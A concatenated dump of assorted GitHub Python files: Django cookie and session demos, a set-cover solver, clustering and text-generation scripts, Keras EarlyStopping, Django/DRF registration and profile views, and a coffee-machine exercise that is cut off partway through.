Cookie和Session\n'''\n第一次请求携带查询字符串\n127.0.0.1:8000/set_cookie/?username=itcast&password=123\n服务器接受到请求后,提取username,服务器设置cookie信息,信息包括username\n浏览器接受到响应后把cookie信息保存起来\n第二次及其之后的请求访问127.0.0.1:8000/set_cookie/?username=itcast&password=123\n都会携带cookie信息,服务器根据cookie信息判断用户身份\n'''\n\n\ndef set_cookie(request):\n # 1.获取查询字符串数据\n username = request.GET.get('username')\n password = request.GET.get('password')\n # 2.服务器设置cookie信息,通过响应对象.set_cookie的方法\n response = HttpResponse('set_cookie')\n # key, value=''\n response.set_cookie('name', username, max_age=60*60)\n response.set_cookie('pwd', password)\n # 删除cookie\n # response.delete_cookie('name')\n return response\n\n\ndef get_cookie(request):\n print(request.COOKIES) # 字典数据\n return HttpResponse(request.COOKIES.get('pwd'))\n\n# session 是保存在服务器的,数据相对安全\n# session 需要依赖于cookie\n\n'''\n第一次请求 网站 服务器端会设置session信息\n服务器同时产生一个session_id 的cookie信息\n浏览器受到这个信息后会把cookie保存起来\n\n第二次都会携带session_id信息,服务器验证信息,没有问题则会读取相关信息\n'''\n\ndef set_session(request):\n # 1.模拟准备用户信息\n username = request.GET.get('username')\n # 2. 设置session信息\n user_id = 1\n request.session['user_id'] = user_id\n request.session['username'] = username\n\n # clear 删除session里面的数据,但是key有所保留\n # request.session.clear()\n # flush 删除session的所有数据\n # request.session.flush()\n\n # 设置国旗时间\n request.session.set_expiry(3600)\n return HttpResponse('set_session')\n\ndef get_session(request):\n user_id = request.session.get('user_id')\n username = request.session.get('username')\n content = \"{}, {}\".format(user_id, username)\n return HttpResponse(content)\n\n\n\ndef login(request):\n if request.method == 'GET':\n return HttpResponse('get 逻辑')\n else:\n return HttpResponse('post 逻辑')\n\n'''\n类视图的定义\nclass 类视图名称(View):\n def get(self,request):\n return HttpResponse('xxx')\n def http_method_lower(self,request):\n return HttpResponse('xxx')\n1. 继承自view\n2. 类视图的方法 采用http方法的小写来区分���同的请求方式\n'''\n\nfrom django.views import View\nclass LoginView(View):\n def get(self,request):\n return HttpResponse('get 逻辑')\n\n def post(self,request):\n return HttpResponse('post 逻辑')\n\n'''\n我的订单,个人中心页面\n如果用户登陆 可以访问\n如果用户未登录 不应该访问,应该跳转到登陆届面\n定义一个订单 个人中心 类视图\n\n'''\nfrom django.contrib.auth.mixins import LoginRequiredMixin\n\n# LoginRequiredMixin 作用判断只有 登陆用户才能访问\nclass OrderView(LoginRequiredMixin, View):\n\n def get(self, request):\n # 模拟一个标记位\n # islogin = False\n # if not islogin:\n # return HttpResponse('你没有登陆,跳转到登陆界面~~~~~~~~~~~~')\n return HttpResponse('GET 我的订单页面,这个页面必须登陆')\n\n def post(self, request):\n return HttpResponse('POST 我的订单页面,这个页面必须登陆')\n\n\n\n\n\n\n\n\n\n\n\n","repo_name":"xiayuxuan520/test_01","sub_path":"bookmanager03/book/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":5503,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"33585781494","text":"import itertools\nfrom heapq import *\n\nclass PriorityQueue:\n def __init__(self):\n self._pq = []\n self._entry_map = {}\n self._counter = itertools.count()\n\n def addtask(self, task, priority = 0):\n '''添加任务,或者是更新一个已存在任务的优先级\n '''\n if task in self._entry_map: # 若任务已经存在\n self.removetask(task)\n count = next(self._counter)\n #print((count))\n entry = [priority, count, task] #三元组为 优先权,计数和任务\n #print(entry)\n self._entry_map[task] = entry\n #print(self._entry_map)\n heappush(self._pq, entry) #将元素push到堆上,保持堆的性质不变\n #print(self._pq)\n\n def removetask(self, task):\n '''标记一个任务,为移除状态'''\n entry = self._entry_map.pop(task) # 弹出即移除\n entry[-1] = 'removed' # entry = [priority, count, task]\n\n def poptask(self):\n '''移除并返回最低优先权的任务'''\n while self._pq:\n priority, count, task = heappop(self._pq) #从堆中移出\n if task != 'removed':\n del self._entry_map[task]\n return task\n\n def __len__(self):\n return len(self._entry_map)\n\nimport math\nMAXPRIORITY = math.inf #定义一个优先权上限可以用math库中的常数,inf的类型为float\n\nclass SetCover:\n def __init__(self,S,W):\n self.S = S\n self.W = W\n self.selected = list()\n self.cost = 0\n\n def SetCovel_Solver(self):\n '''\n 贪婪集合覆盖算法:选择成本效益最小的集合,比如说这个集合为S:min(w[S]/|S-C|,其中C为当前的被覆盖的元素集合 C = C U S\n 使用优先权队列进行选择最具成本效益的集合\n 输入:\n udict - universe U, which contains the <elem, setlist>. (dict)\n S - sets的集合,list类型\n w - S中对应的权重,list类型\n\n 输出:\n selected: 按顺序选定的集合ids。(list)\n cost: 选择集合的总代价\n '''\n\n udict = {}\n # selected = list()\n scopy = [] # s的copy,因为s会不断被修改\n for index, item in enumerate(S):\n scopy.append(set(item))\n for j in item:\n if j not in udict:\n udict[j] = set()\n udict[j].add(index)\n\n pq = PriorityQueue() # 这里声明优先权队列\n #cost = 0 # 初始代价为0\n coverednum = 0\n for index, item in enumerate(scopy): # 将集合添加到优先权队列\n if len(item) == 0:\n pq.addtask(index, MAXPRIORITY)\n else:\n pq.addtask(index, float(self.W[index]) / len(item))\n while coverednum < len(udict):\n a = pq.poptask() # 获取最具成本效益的集合\n self.selected.append(a) # a: 集合 id\n self.cost += self.W[a] # 更新cost\n # print(\"cost now is :{}\".format(cost))\n coverednum += len(scopy[a])\n # 更新包含最新被包含元素的集合\n # print(scopy)\n # print(S)\n # print(a)\n # print(scopy[a])\n for m in scopy[a]: # m: element a是集合id\n # print(\"m:{}\".format(m)) # 被选中集合的元素\n for n in udict[m]: # n: 集合 id\n # print(\"n:{}\".format(n))\n if n != a:\n scopy[n].discard(m)\n if len(scopy[n]) == 0:\n pq.addtask(n, MAXPRIORITY)\n else: # 选取集合n,对每个e∈S-C,规定优先权为α=w[n]/|S-C|\n pq.addtask(n, float(self.W[n]) / len(scopy[n]))\n scopy[a].clear()\n pq.addtask(a, MAXPRIORITY)\n\n return self.selected, self.cost\n\n\nif __name__ == \"__main__\":\n S = [[1,2,3],\n [3,6,7,10],\n [8],\n [9,5],\n [4,5,6,7,8],\n [4,5,9,10],] # 集合的collecton\n Cost = [1, 2, 3, 4, 3, 5] # 每个集合的权重\n setCover = SetCover(S, Cost)\n print(\"集合U,以及对应的权重为\")\n #print(S[0])\n for i in range(len(S)):\n print(S[i],\"cost=\",Cost[i])\n selected, cost = setCover.SetCovel_Solver()\n print(\"选择的集合id为 :{}\".format(selected))\n for i in selected:\n print(\"{0},对应的cost is {1} \".format(S[i],Cost[i]))\n print(\"总代价为:{}\".format(cost))\n","repo_name":"yemuc1210/Approximation-Algorithm","sub_path":"SetCover/setCover.py","file_name":"setCover.py","file_ext":"py","file_size_in_byte":4652,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"33434899391","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Apr 22 10:47:29 2022\n\n@author: CRISTIAN\n\"\"\"\n\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom sklearn.cluster import KMeans\nimport csv\nfrom fcmeans import FCM\n\n#datos sin normalizar\ndata = np.genfromtxt(r'D:\\CONTROL INTELIGENTE-2\\base_multi.csv', delimiter=',')\nt=np.arange(1,1632,1)\n\n# plt.plot(t,data[:,0],t,data[:,1],t,data[:,2],t,data[:,3])\n# plt.title('Adquisicion de datos modulo multivariable')\n# plt.xlabel('Tiempo [s]')\n# plt.ylabel('Salida/Escalones %')\n\n#Tratamiento de datos para normalizar la base de datos\nspmax=max(data[:,0]) #maximo valor del setpoint\nspmin=min(data[:,0]) #minimo valor del setpoint\nymax=max(data[:,1])#maximo valor de la salida \"controlada\"\nymin=min(data[:,1])#minimo valor de la salida \"controlada\"\nqmax=max(data[:,3])#maximo valor de la variable caudal\nqmin=min(data[:,3])#minimo valor de la variable caudal\n\n#normalizacion de datos para que esten en rango de 0-1\n#Creo unas listas donde se van a almacenar los datos normalizados\nnormsp=[]\nnormy=[]\nnormq=[]\nz=len(data[:,0])\nfor i in range(z):\n nsp=(data[:,0][i]-spmin)/(spmax-spmin)\n normsp.append(nsp)\n \n ny=(data[:,1][i]-ymin)/(ymax-ymin)\n normy.append(ny)\n \n nq=(data[:,3][i]-qmin)/(qmax-qmin)\n normq.append(nq)\n\nplt.figure(figsize=(20,5))\n#graficacion de datos normalizados\nplt.plot(t,normsp,t,normy,t,data[:,2],t,normq)\n\n#para ordenar la base de datos en un array de 4 columnas con los datos \n#normalizados\n#datos=np.array([normsp,normy,data[:,2],normq]).transpose()\ndatos=np.array([normsp,normy,normq]).transpose()\n#Uso del clasificador FCMeans\nfcm = FCM(n_clusters=14,m=1.5)\nfcm.fit(datos)\n\n# centroids\nfcm_centers = fcm.centers\n#Predicion de los datos entrenados con los mismos datos\nfcm_labels = fcm.predict(datos)\n\n\n#Creo una lista correspondiente a 10 colores que me van a identificar cada clase\ncolores=['blue','green','red','cyan','magenta','yellow','black','white','orange','brown']\nasignar=[]\n#un ciclo for para que a cada dato que se le hizo la prediccion le asigne un color\n# for row in fcm_labels:\n# asignar.append(colores[row])\n \n# #Se crea un arreglo para añadir las diferentes clases que se predijo\nlabels2=np.array(fcm_labels)#graficacion de las clases \nplt.figure(figsize=(20,5))\nlabels2=np.array(fcm_labels)\nplt.plot(t,labels2)\n\n# #Graficiacion de la base de datos con su parte clasificada\n# plt.figure(figsize=(20,5))\n# plt.scatter(t,datos[:,0],c=asignar,s=30)\n# plt.scatter(t,datos[:,1],c=asignar,s=30)\n# plt.scatter(t,datos[:,2],c=asignar,s=30)\n# #plt.scatter(t,datos[:,3],c=asignar,s=30)\n\nplt.figure(figsize=(20,5))\ngrados_pertenencia=fcm.u\nplt.plot(grados_pertenencia)","repo_name":"agudelozc/IA","sub_path":"Classifiers/FCmeans_multivariable.py","file_name":"FCmeans_multivariable.py","file_ext":"py","file_size_in_byte":2667,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"9607207644","text":"from flask import Flask,jsonify,request,render_template\nfrom textgenrnn import textgenrnn\nimport os\n\n\napplication = Flask(__name__)\n\ndef load_model(prefix):\n\tvalue = textgenrnn(weights_path='output_weights.hdf5',\n vocab_path='output_vocab.json',\n config_path='output_config.json')\n\n\tgen_text = value.generate(n=1,prefix=prefix, temperature=1.5,return_as_list=True)\n\treturn gen_text\n\n@application.route(\"/\")\ndef index():\n\treturn render_template(\"gen_text.html\")\n\n@application.route(\"/generate-news/\",methods=['GET'])\ndef generate_news():\n\theadline = request.args.get(\"headline\")\n\n\t# Implement function to take in headline text and out predicitive text\n\t\n\n\treturn render_template('display_text.html',data=str(load_model(headline)))\n\nif __name__ == \"__main__\":\n\tapplication.debug = True\n\tapplication.run()\n","repo_name":"stevenoluwaniyi/cognitive_computing","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":831,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"67"} +{"seq_id":"5862708739","text":"import warnings\n\nfrom keras import ops\nfrom keras.api_export import keras_export\nfrom keras.callbacks.callback import Callback\nfrom keras.utils import io_utils\n\n\n@keras_export(\"keras.callbacks.EarlyStopping\")\nclass EarlyStopping(Callback):\n \"\"\"Stop training when a monitored metric has stopped improving.\n\n Assuming the goal of a training is to minimize the loss. With this, the\n metric to be monitored would be `'loss'`, and mode would be `'min'`. A\n `model.fit()` training loop will check at end of every epoch whether\n the loss is no longer decreasing, considering the `min_delta` and\n `patience` if applicable. Once it's found no longer decreasing,\n `model.stop_training` is marked True and the training terminates.\n\n The quantity to be monitored needs to be available in `logs` dict.\n To make it so, pass the loss or metrics at `model.compile()`.\n\n Args:\n monitor: Quantity to be monitored. Defaults to `\"val_loss\"`.\n min_delta: Minimum change in the monitored quantity to qualify as an\n improvement, i.e. an absolute change of less than min_delta, will\n count as no improvement. Defaults to `0`.\n patience: Number of epochs with no improvement after which training will\n be stopped. Defaults to `0`.\n verbose: Verbosity mode, 0 or 1. Mode 0 is silent, and mode 1 displays\n messages when the callback takes an action. Defaults to `0`.\n mode: One of `{\"auto\", \"min\", \"max\"}`. In `min` mode, training will stop\n when the quantity monitored has stopped decreasing; in `\"max\"` mode\n it will stop when the quantity monitored has stopped increasing; in\n `\"auto\"` mode, the direction is automatically inferred from the name\n of the monitored quantity. Defaults to `\"auto\"`.\n baseline: Baseline value for the monitored quantity. If not `None`,\n training will stop if the model doesn't show improvement over the\n baseline. Defaults to `None`.\n restore_best_weights: Whether to restore model weights from the epoch\n with the best value of the monitored quantity. If `False`, the model\n weights obtained at the last step of training are used. An epoch\n will be restored regardless of the performance relative to the\n `baseline`. If no epoch improves on `baseline`, training will run\n for `patience` epochs and restore weights from the best epoch in\n that set. Defaults to `False`.\n start_from_epoch: Number of epochs to wait before starting to monitor\n improvement. This allows for a warm-up period in which no\n improvement is expected and thus training will not be stopped.\n Defaults to `0`.\n\n\n Example:\n\n >>> callback = keras.callbacks.EarlyStopping(monitor='loss',\n ... patience=3)\n >>> # This callback will stop the training when there is no improvement in\n >>> # the loss for three consecutive epochs.\n >>> model = keras.models.Sequential([keras.layers.Dense(10)])\n >>> model.compile(keras.optimizers.SGD(), loss='mse')\n >>> history = model.fit(np.arange(100).reshape(5, 20), np.zeros(5),\n ... epochs=10, batch_size=1, callbacks=[callback],\n ... verbose=0)\n >>> len(history.history['loss']) # Only 4 epochs are run.\n 4\n \"\"\"\n\n def __init__(\n self,\n monitor=\"val_loss\",\n min_delta=0,\n patience=0,\n verbose=0,\n mode=\"auto\",\n baseline=None,\n restore_best_weights=False,\n start_from_epoch=0,\n ):\n super().__init__()\n\n self.monitor = monitor\n self.patience = patience\n self.verbose = verbose\n self.baseline = baseline\n self.min_delta = abs(min_delta)\n self.wait = 0\n self.stopped_epoch = 0\n self.restore_best_weights = restore_best_weights\n self.best_weights = None\n self.start_from_epoch = start_from_epoch\n\n if mode not in [\"auto\", \"min\", \"max\"]:\n warnings.warn(\n f\"EarlyStopping mode {mode} is unknown, fallback to auto mode.\",\n stacklevel=2,\n )\n mode = \"auto\"\n\n if mode == \"min\":\n self.monitor_op = ops.less\n elif mode == \"max\":\n self.monitor_op = ops.greater\n else:\n if (\n self.monitor.endswith(\"acc\")\n or self.monitor.endswith(\"accuracy\")\n or self.monitor.endswith(\"auc\")\n ):\n self.monitor_op = ops.greater\n else:\n self.monitor_op = ops.less\n\n if self.monitor_op == ops.greater:\n self.min_delta *= 1\n else:\n self.min_delta *= -1\n\n def on_train_begin(self, logs=None):\n # Allow instances to be re-used\n self.wait = 0\n self.stopped_epoch = 0\n self.best = (\n float(\"inf\") if self.monitor_op == ops.less else -float(\"inf\")\n )\n self.best_weights = None\n self.best_epoch = 0\n\n def on_epoch_end(self, epoch, logs=None):\n current = self.get_monitor_value(logs)\n if current is None or epoch < self.start_from_epoch:\n # If no monitor value exists or still in initial warm-up stage.\n return\n if self.restore_best_weights and self.best_weights is None:\n # Restore the weights after first epoch if no progress is ever made.\n self.best_weights = self.model.get_weights()\n\n self.wait += 1\n if self._is_improvement(current, self.best):\n self.best = current\n self.best_epoch = epoch\n if self.restore_best_weights:\n self.best_weights = self.model.get_weights()\n # Only restart wait if we beat both the baseline and our previous\n # best.\n if self.baseline is None or self._is_improvement(\n current, self.baseline\n ):\n self.wait = 0\n return\n\n # Only check after the first epoch.\n if self.wait >= self.patience and epoch > 0:\n self.stopped_epoch = epoch\n self.model.stop_training = True\n if self.restore_best_weights and self.best_weights is not None:\n if self.verbose > 0:\n io_utils.print_msg(\n \"Restoring model weights from \"\n \"the end of the best epoch: \"\n f\"{self.best_epoch + 1}.\"\n )\n self.model.set_weights(self.best_weights)\n\n def on_train_end(self, logs=None):\n if self.stopped_epoch > 0 and self.verbose > 0:\n io_utils.print_msg(\n f\"Epoch {self.stopped_epoch + 1}: early stopping\"\n )\n\n def get_monitor_value(self, logs):\n logs = logs or {}\n monitor_value = logs.get(self.monitor)\n if monitor_value is None:\n warnings.warn(\n (\n f\"Early stopping conditioned on metric `{self.monitor}` \"\n \"which is not available. \"\n f\"Available metrics are: {','.join(list(logs.keys()))}\"\n ),\n stacklevel=2,\n )\n return monitor_value\n\n def _is_improvement(self, monitor_value, reference_value):\n return self.monitor_op(monitor_value - self.min_delta, reference_value)\n","repo_name":"keras-team/keras","sub_path":"keras/callbacks/early_stopping.py","file_name":"early_stopping.py","file_ext":"py","file_size_in_byte":7533,"program_lang":"python","lang":"en","doc_type":"code","stars":59773,"dataset":"github-code","pt":"67"} +{"seq_id":"40585158801","text":"from collections import namedtuple\n\nfrom django.conf import settings\n\nfrom rest_framework import serializers\nfrom rest_framework.exceptions import ValidationError\nfrom rest_framework.validators import UniqueTogetherValidator\n\nfrom index_service.logic import UpdateRequest, UpdateItem\nfrom index_service.models import Entry\nfrom index_service.crypto import decode_key\nfrom index_service.utils import normalize_phone_number_localised, parse_phone_number, get_current_cc, check_drop_url\n\nFIELD_SCRUBBERS = {\n 'phone': normalize_phone_number_localised\n}\n\n\ndef scrub_field(field, value):\n scrubber = FIELD_SCRUBBERS.get(field)\n if scrubber:\n return scrubber(value)\n else:\n return value\n\n\nclass IdentitySerializer(serializers.Serializer):\n Identity = namedtuple('Identity', 'alias, public_key, drop_url')\n\n alias = serializers.CharField()\n public_key = serializers.CharField(min_length=64, max_length=64)\n drop_url = serializers.URLField()\n\n def run_validators(self, value):\n for validator in self.validators:\n if isinstance(validator, UniqueTogetherValidator):\n # remove the auto-generated UniqueTogetherValidator so that we get to implement get_or_create\n # semantics\n self.validators.remove(validator)\n super().run_validators(value)\n\n def update(self, instance, validated_data):\n return instance._replace(**validated_data)\n\n def create(self, validated_data):\n return self.Identity(**validated_data)\n\n def validate_public_key(self, value):\n try:\n decode_key(value)\n except ValueError:\n raise ValidationError('public key must be 64 hex characters.') from None\n return value\n\n def validate_drop_url(self, value):\n if not check_drop_url(value):\n raise ValidationError('Invalid drop URL')\n return value\n\n\nclass FieldSerializer(serializers.Serializer):\n field = serializers.ChoiceField(Entry.FIELDS)\n value = serializers.CharField()\n\n def create(self, validated_data):\n return validated_data\n\n\nclass SearchResultSerializer(IdentitySerializer):\n matches = FieldSerializer(many=True)\n\n\nclass SearchSerializer(serializers.Serializer):\n query = FieldSerializer(many=True, required=True)\n\n def create(self, validated_data):\n return validated_data\n\n\nclass UpdateItemSerializer(serializers.Serializer):\n action = serializers.ChoiceField(('create', 'delete'))\n field = serializers.ChoiceField(Entry.FIELDS)\n value = serializers.CharField()\n\n def validate(self, data):\n field = data['field']\n try:\n data['value'] = scrub_field(field, data['value'])\n except ValueError as exc:\n raise serializers.ValidationError('Scrubber for %r failed: %s' % (field, exc)) from exc\n if field == 'phone':\n country_code = parse_phone_number(data['value'], get_current_cc()).country_code\n if country_code in settings.SMS_BLACKLISTED_COUNTRIES:\n raise serializers.ValidationError('This country code (+%d) is not available at this time.' % country_code)\n return data\n\n def create(self, validated_data):\n return UpdateItem(action=validated_data['action'],\n field=validated_data['field'],\n value=validated_data['value'])\n\n\nclass UpdateRequestSerializer(serializers.Serializer):\n identity = IdentitySerializer(required=True)\n public_key_verified = serializers.BooleanField(default=False)\n items = UpdateItemSerializer(many=True, required=False, default=tuple())\n\n def create(self, validated_data):\n items = []\n for item in validated_data['items']:\n # XXX easier way?\n subser = UpdateItemSerializer(data=item)\n subser.is_valid(True)\n items.append(subser.save())\n idser = IdentitySerializer(data=validated_data['identity'])\n idser.is_valid(True)\n identity = idser.save()\n request = UpdateRequest(identity, validated_data['public_key_verified'], items)\n return request\n\n def validate_items(self, value):\n items = []\n fieldspecs = set()\n for item in value:\n if item in items:\n raise ValidationError('Duplicate update items are not allowed.')\n fieldspec = item['action'], item['field']\n if fieldspec in fieldspecs:\n raise ValidationError('Duplicate field/action is not allowed: %s, %s' % fieldspec)\n items.append(item)\n fieldspecs.add(fieldspec)\n return value\n\n\nclass ApiRequestSerializer(serializers.Serializer):\n api = serializers.CharField(required=True)\n timestamp = serializers.IntegerField(required=True)\n\n def create(self, validated_data):\n return validated_data\n","repo_name":"Qabel/qabel-index","sub_path":"index_service/serializers.py","file_name":"serializers.py","file_ext":"py","file_size_in_byte":4862,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"29308380210","text":"from django.contrib.sites.shortcuts import get_current_site\nfrom django.contrib.auth.decorators import login_required\nfrom django.contrib.auth.forms import PasswordChangeForm\nfrom django.contrib.auth import login, update_session_auth_hash\nfrom django.contrib import messages\nfrom django.conf import settings\nfrom django.shortcuts import render, redirect\nfrom django.template.loader import render_to_string\nfrom django.utils.encoding import force_text, force_bytes\nfrom django.utils.http import urlsafe_base64_decode, urlsafe_base64_encode\nfrom django.http import HttpResponseNotFound\nfrom django.contrib.auth.models import User\nfrom django.core.mail import mail_admins, send_mail\nfrom social_django.models import UserSocialAuth\nfrom ..tokens import account_activation_token\nfrom ..forms import RegistrationForm, AdditionalForm, AppForm, ProfileEmailForm, NameForm\nfrom ..models import CAM2dbApi, RegisterUser\nimport sys\nimport os\nimport urllib\nimport requests\nimport json\n\ndef register(request):\n \"\"\"Renders content for the Registration form page\n\n Uses the Django Forms structure outlined in forms.py to create a form for users to use\n to register their information. When the user submits this form, it validates it to ensure\n that the values are acceptable and that the required fields were filled, then it stores\n the contents of the form into the Django Admin database for Users. Once this is complete,\n an email is sent to the provided email address that contains an activation link for the user\n to click.\n\n Args:\n request: the HttpRequest corresponding to the page to be accessed or the submitted form.\n\n Returns:\n A render that displays the form page if the page was just accessed or the form was invalid,\n or a redirection to a page that confirms that the account was registered.\n \"\"\"\n if request.method == 'POST':\n form1 = RegistrationForm(request.POST)\n form2 = AdditionalForm(request.POST)\n\n\n if form1.is_valid() and form2.is_valid():\n\n recaptcha_response = request.POST.get('g-recaptcha-response')\n url = 'https://www.google.com/recaptcha/api/siteverify'\n values = {\n 'secret': settings.GOOGLE_RECAPTCHA_SECRET_KEY,\n 'response': recaptcha_response\n }\n data = urllib.parse.urlencode(values).encode()\n req = urllib.request.Request(url, data=data)\n response = urllib.request.urlopen(req)\n result = json.loads(response.read().decode())\n if result['success']:\n model1 = form1.save(commit=False) #Required information of user\n model1.is_active = False #Set true for testing without email.\n model1.save()\n model2 = form2.save(commit=False) #Optional information of user\n model2.user = model1\n model2.save()\n\n #Email user\n current_site = get_current_site(request)\n subject = 'Activate Your CAM2 Account'\n message = render_to_string('app/confirmation_email.html', {\n 'user': model1,\n 'domain': current_site.domain,\n 'uid': urlsafe_base64_encode(force_bytes(model1.pk)).decode(),\n 'token': account_activation_token.make_token(model1),\n })\n model1.email_user(subject, message)\n\n return redirect('email_confirmation_sent')\n else:\n messages.error(request, 'Invalid reCAPTCHA. Please confirm you are not a robot and try again.')\n\n else:\n form1 = RegistrationForm()\n form2 = AdditionalForm()\n\n sitekey = settings.RECAPTCHA_SITE_KEY\n\n return render(request, 'app/register.html', {'form1': form1, 'form2': form2, 'sitekey': sitekey})\n\ndef activate(request, uidb64, token):\n \"\"\"Renders content for account activation\n\n Determines which user is attempting to activate their account based on the encoded section of the\n URL used to access the page, sets the user's account to an activated state and saves the change\n to the database, emails the system administrator about the newly registered account, logs the user\n in, and redirects them to the site.\n\n Args:\n request: the HttpRequest corresponding to the page to be accessed.\n uidb64: an encoded form of the user id used in activation.\n token: the access token for activation given by the activation link.\n\n Returns:\n Either a redirection to the site indicating successful confirmation, or a rendering of a page\n that indicates a failure to activate the account.\n \"\"\"\n \"\"\"Followed tutorial: https://simpleisbetterthancomplex.com/tutorial/2017/02/18/how-to-create-user-sign-up-view.html\"\"\"\n try:\n uid = force_text(urlsafe_base64_decode(uidb64))\n user = User.objects.get(pk=uid)\n except (TypeError, ValueError, OverflowError, User.DoesNotExist):\n user = None\n\n if user is not None and account_activation_token.check_token(user, token):\n user.is_active = True\n user.registeruser.email_confirmed = True\n user.save()\n\n optional = RegisterUser.objects.get(user=user) #get optional info of user\n #email admin\n admin_subject = 'New User Registered'\n admin_message = render_to_string('app/new_user_email_to_admin.html', {\n 'user': user,\n 'optional': optional,\n })\n\n\n mail_admins(admin_subject, admin_message)\n login(request, user, backend=\"django.contrib.auth.backends.ModelBackend\")\n return redirect('account_activated')\n else:\n return render(request, 'email_confirmation_invalid.html')\n\n@login_required\ndef profile(request):\n \"\"\"Renders content for the Profile page\n\n For a user that's currently logged in, displays information currently stored in the database\n for that user (First Name, Last Name, email, etc...), and allows the User to modify that\n information using a form.\n\n Also pulls information provided by Github sign-in, if Github authentication was used to access\n the site.\n\n Args:\n request: the HttpRequest corresponding to the page to be accessed.\n\n Returns:\n A render that displays the user's profile page, complete with all information accessible from the\n Django admin database for that specific user.\n \"\"\"\n user = request.user\n try:\n github_login = user.social_auth.get(provider='github')\n except UserSocialAuth.DoesNotExist:\n github_login = None\n try:\n google_login = user.social_auth.get(provider='google-oauth2')\n except UserSocialAuth.DoesNotExist:\n google_login = None\n\n #initialize forms\n app_form = AppForm()\n apps = CAM2dbApi.objects.filter(user=request.user).values()\n emailForm = ProfileEmailForm(instance=user)\n try:\n optional = RegisterUser.objects.get(user=user)\n except:# If cannot find RegisterUser object(social login users), create one\n return redirect('/oauthinfo')\n infoForm = AdditionalForm(instance=optional)#get form with info of a specific instance\n\n\n '''\n # Enter name for social login users\n if request.method == 'POST' and 'saveName' in request.POST:\n nameForm = NameForm(request.POST, instance=user)\n if nameForm.is_valid():\n nameForm.save()\n messages.success(request, 'Thank you! Your name has been updated.')\n else:\n nameForm = NameForm(instance=user)\n messages.error(request, 'Something went wrong. Please try again or contact us!')\n #return redirect('profile')\n return render(request, 'app/profile.html', form_dict)\n '''\n # Add app\n if request.method == 'POST' and 'add' in request.POST:\n app_form = AppForm(request.POST)\n if app_form.is_valid():\n dbapp = app_form.save(commit=False)\n dbapp.user = request.user\n dbapp.save()\n return redirect('profile')\n else:\n app_form = AppForm()\n #messages.error(request, 'Something went wrong. Please try again or contact us!')\n #return render(request, 'app/profile.html', form_dict)\n\n # Change Email\n if request.method == 'POST' and 'changeEmail' in request.POST:\n emailForm = ProfileEmailForm(request.POST, instance=user)\n if emailForm.is_valid():\n emailForm.save()\n messages.success(request, 'Your Email has been successfully updated!')\n return redirect('profile')\n else:\n emailForm=ProfileEmailForm(instance=user)\n #messages.error(request, 'Something went wrong. Please try again or contact us!')\n #return render(request, 'app/profile.html', form_dict)\n\n # Modify Profile\n if request.method == 'POST' and 'changeInfo' in request.POST:\n infoForm = AdditionalForm(request.POST, instance=optional)\n if infoForm.is_valid():\n infoForm.save()\n messages.success(request, 'Your information has been successfully updated!')\n return redirect('profile')\n else:\n infoForm=AdditionalForm(instance=optional)\n #messages.error(request, 'Something went wrong. Please try again or contact us!')\n return render(request, 'app/profile.html', {\n 'github_login': github_login,\n 'google_login': google_login,\n 'app_form': app_form,\n 'apps': apps,\n 'infoForm': infoForm,\n 'emailForm': emailForm,\n })\n\n@login_required\ndef oauthinfo(request):\n \"\"\"Renders a form for additional content for users authenticated with Github or Google\n\n Retrieves information from the social authentication library provided by Django and allows\n a user authenticated with an external service to provide additional information about themselves\n (organization, location, etc...) that can then be stored within the Django admin user database.\n\n * Note that while this appears to be the intention, it isn't fully implemented yet *\n\n Args:\n request: the HttpRequest corresponding to the page to be accessed.\n\n Returns:\n A render that displays the page for externally authenticated users to add information about themselves.\n \"\"\"\n user = request.user\n\n if request.method == 'POST':\n form = AdditionalForm(request.POST, request.FILES)\n if form.is_valid():\n save_it = form.save(commit = False)\n save_it.user = user\n save_it.save()\n return redirect('index')\n else:\n return render(request, 'app/oauthinfo.html', {'form2': form})\n\n else:\n try:\n optional = RegisterUser.objects.get(user=user)\n return redirect('index')\n except:# If cannot find RegisterUser object(social login users), create one\n form2 = AdditionalForm()\n\n return render(request, 'app/oauthinfo.html', {'form2': form2})\n","repo_name":"PurdueCAM2Project/CAM2WebUI","sub_path":"app/views/user.py","file_name":"user.py","file_ext":"py","file_size_in_byte":10951,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"67"} +{"seq_id":"30242590377","text":"class Solution:\n def peakIndexInMountainArray(self, a: List[int]) -> int:\n start,end = 0, len(a)-1\n \n while start<=end:\n mid = (start+end)//2\n left = a[mid-1] if mid> 0 else float('-inf')\n right = a[mid+1] if mid < len(a)-1 else float('inf')\n \n \n if left > a[mid] and right <a[mid]:\n end = mid-1\n elif left < a[mid] and right > a[mid]:\n start = mid+1\n elif left > a[mid] and right > a[mid]:\n start = mid+1\n else:\n return mid\n return -1\n ","repo_name":"AJsenpai/LeetCode","sub_path":"852-peak-index-in-a-mountain-array/852-peak-index-in-a-mountain-array.py","file_name":"852-peak-index-in-a-mountain-array.py","file_ext":"py","file_size_in_byte":634,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"44182646512","text":"from menu import Menu, MenuItem\nfrom coffee_maker import CoffeeMaker\nfrom money_machine import MoneyMachine\n\ncoffee_maker_machine = CoffeeMaker()\ncoffee_menu = Menu()\nmoney_tracker = MoneyMachine()\n\nwhile True:\n user_choice = input(f\"What would you like? (espresso/ latte/ cappuccino): \").lower()\n if user_choice == \"report\":\n coffee_maker_machine.report()\n money_tracker.report()\n elif user_choice == \"off\":\n break\n else: \n drink = coffee_menu.find_drink(user_choice)\n if drink:\n if coffee_maker_machine.is_resource_sufficient(drink):\n if money_tracker.make_payment(drink.cost):\n 